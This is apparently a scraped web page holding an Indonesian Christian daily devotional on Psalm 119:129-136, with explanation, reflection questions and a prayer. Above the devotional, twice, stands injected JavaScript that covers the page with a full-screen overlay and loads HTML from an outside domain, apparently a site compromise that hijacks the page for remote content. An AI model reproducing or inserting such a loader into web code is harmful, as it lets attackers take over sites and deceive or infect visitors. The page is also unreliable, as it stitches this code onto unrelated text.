const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});
const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});
Kamis, 27 Juli 2023
Mazmur 119 : 129 – 136
Pengantar
Jika kita mendengar lagu “Firman-Mu Pelita Bagi Kakiku”, sepertinya penulis lagu tersebut benar-benar mengimani bahwa Firman Tuhan adalah seperti pelita yang membuat siapa saja yang berada di dekatnya tidak akan berada dalam kegelapan. Pada bacaan hari ini kita akan merenungkan bagaimana Pemazmur percaya bahwa Firman Tuhan membuat ia tetap berada di jalan Tuhan. Seperti apakah ekspresi atau ungkapan Pemazmur dalam mempercayai Firman Tuhan itu? Mari kita renungkan.
Pemahaman
Ayat 129-135 : Bagaimana ungkapan atau ekspresi Pemazmur terhadap Firman Tuhan?
Ayat 136 : Bagaimana perasaan Pemazmur pada orang yang dalam hidupnya tidak berpegang pada Firman Tuhan?
Dalam Mazmur 119 ini Pemazmur ingin mengungkapkan bahwa Firman Tuhan merupakan peringatan-peringatan ajaib yang mampu memberikan terang dan pengertian kepada orang- orang bodoh atau orang yang kurang pengalaman. Ini diekspresikan oleh Pemazmur seperti mengangakan mulutnya dan megap-megap dalam menerima Firman Tuhan yang menandakan bahwa Pemazmur dalam kehidupannya sangat haus dan rindu untuk belajar serta mencintai Firman Tuhan. (129-131) Kecintaan Pemazmur atas Firman Tuhan juga nampak pada ayat 132-135, di mana Pemazmur meminta kepada Tuhan untuk mengasihani, meneguhkan langkahnya dan membebaskan dari orang-orang jahat yang tidak mau mendengarkan Firman Tuhan. Pemazmur juga berdoa dan memohon agar ia dimampukan untuk memegang perintah yang terdapat dalam Firman Tuhan dan memohon agar ia dijauhkan dari segala kejahatan yang ingin berkuasa atas dirinya. Juga Pemazmur memohon agar Tuhan
senantiasa terus mengajarkan Firman-Nya kepadanya oleh karena ia sangat mendambakan Firman Tuhan seperti yang disampaikan pada ayat 131.
Dan di ayat 136, Pemazmur merasakan kesedihan pada orang yang tidak mau belajar Firman Tuhan seperti dirinya. Ini menunjukkan bahwa Pemazmur sangat peduli pada orang-orang tersebut dan dengan menangis menunjukkan bahwa Pemazmur mengasihi mereka dan mengingatkan kepada mereka yang tidak melakukan Firman Tuhan.
Seperti yang diungkapkan oleh Pemazmur, sebagai orang percaya seharusnya kita juga memiliki motivasi, kerinduan, dan komitmen seperti Pemazmur yaitu untuk terus menerus merasa haus akan kebenaran Firman Tuhan. Firman Tuhan hendaknya menjadi terang yang menuntun hidup kita agar jauh dari dosa dengan meminta bantuan kepada Tuhan dalam mempelajari Firman-Nya.
Refleksi
Mari kita renungkan, apakah perenungan hari ini memotivasi kita untuk rindu membaca Firman Tuhan setiap hari? Apakah kita merasa sedih jika ada orang yang menolak Firman Tuhan?
Tekadku
Doa: Bapa surgawi, tolong saya agar selalu memiliki motivasi dan komitmen untuk membaca dan mempelajari Firman-Mu baik melalui membaca Alkitab atau renungan Saat Teduh atau media rohani lainnya yang akan memuaskan rasa lapar rohaniku ini. Amin.
Tindakanku
Setiap hari saya akan berusaha untuk meluangkan waktu membaca Alkitab atau Renungan Saat Teduh dan berdoa bagi orang-orang yang menolak atau tidak lagi melakukan Firman Tuhan agar mereka bisa kembali memiliki kerinduan akan Firman Tuhan